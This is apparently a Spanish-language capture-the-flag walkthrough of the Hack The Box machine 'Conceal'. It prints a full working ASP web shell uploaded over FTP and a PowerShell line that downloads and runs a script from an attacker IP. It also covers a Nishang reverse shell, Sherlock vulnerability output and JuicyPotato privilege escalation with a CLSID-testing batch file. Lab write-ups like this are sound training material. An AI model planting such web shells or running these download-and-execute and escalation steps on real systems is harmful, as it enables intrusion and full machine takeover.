Conceal expone el puerto SNMP donde obtuvimos informacion para generar la configuracion para una VPN y posteriormente conectarnos a esta. Obtuvimos acceso a la maquina con una web shell en FTP que luego actualizamos a una shell de PowerShell. SetImpersonatePrivilege es el privilegio que explotamos con Juicy Potato para escalar privilegios.
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<HTML><BODY><FORMaction=""method="GET"><inputtype="text"name="cmd"size=45value="<%= szCMD %>"><inputtype="submit"value="Run"></FORM><PRE><%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p><b>The server's port:</b><%Response.Write(Request.ServerVariables("server_port"))%>
</p><p><b>The server's software:</b><%Response.Write(Request.ServerVariables("server_software"))%>
</p><p><b>The server's software:</b><%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p><br></BODY></HTML>
Obtenemos nuestra webshell y podemos ejecutar comandos en la maquina.
REVERSE SHELL - Nishang
Utilizamos una de las shells que tiene Nishang, y configuramos un archivo asp para subirlo por ftp y al visitar dicho archivo obtener una shell inversa.
En nuestro archivo Invoke-PowerShellTcp.ps1 agregamos la sigueinte linea al final del archivo para ejecutar nuestra shell inversa cuando este sea descargado, con la IP y el puerto al que se va a conectar.
PS C:\Users\Destitute\Documents> iex(new-object net.webclient).downloadstring('http://10.10.14.188/Sherlok.ps1')PS C:\Users\Destitute\Documents> ls
PS C:\Users\Destitute\Documents> Find-Allvulns
Title : User Mode to Ring (KiTrap0D)MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Vulnerable
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Not Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Not Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable
WHOAMI /priv
Revisamos si SeImpersonatePrivilege esta disponible en la maquina y con el usuario que actualmente tenemos una shell para poder utilizar JuicyPotato para obtener NT AUTHORITY\SYSTEM.
PRIVILEGE ESCALATION - JuicyPotato
Para escalar privilegios vamos a utilizar un nuevo documento Invoke-PowerShellTcp-potato.ps1 que contiene una shell inversa, tambien un archivo reverse_shell.bat el cual va ser ejecutado por JuicyPotato.exe.
Nos imprimira un alista de AppID y CLSID, copiamos y guardamos los CLSID en un archivo para probar cada uno de ellos con el archivo test_clsid.bat de juicypotato.
Vamos a hacer un pequeño cambio en nuestro archivo test_clsid.bat, solo cambiamos la ruta de nuestros archivos.
1
2
3
4
5
6
7
8
9
10
11
12
@echo off
:: Starting port, you can change it
set /a port=10000SETLOCAL ENABLEDELAYEDEXPANSION
FOR /F %%i IN (C:\Users\Destitute\Videos\tmp.list) DO (echo %%i !port!
C:\Users\Destitute\Videos\JuicyPotato.exe -z -l !port! -c %%i >> C:\Users\Destitute\Videos\result.log
setRET=!ERRORLEVEL!
:: echo !RET!
if"!RET!"=="1"set /a port=port+1
)
Descargamos los archivos necesarios en la maquina.
Ejecutamos test_clsid.bat, el cual nos creara un archivo log (result.log) con las pruebas de CLSID que hay en la lista que creamos anteriormente.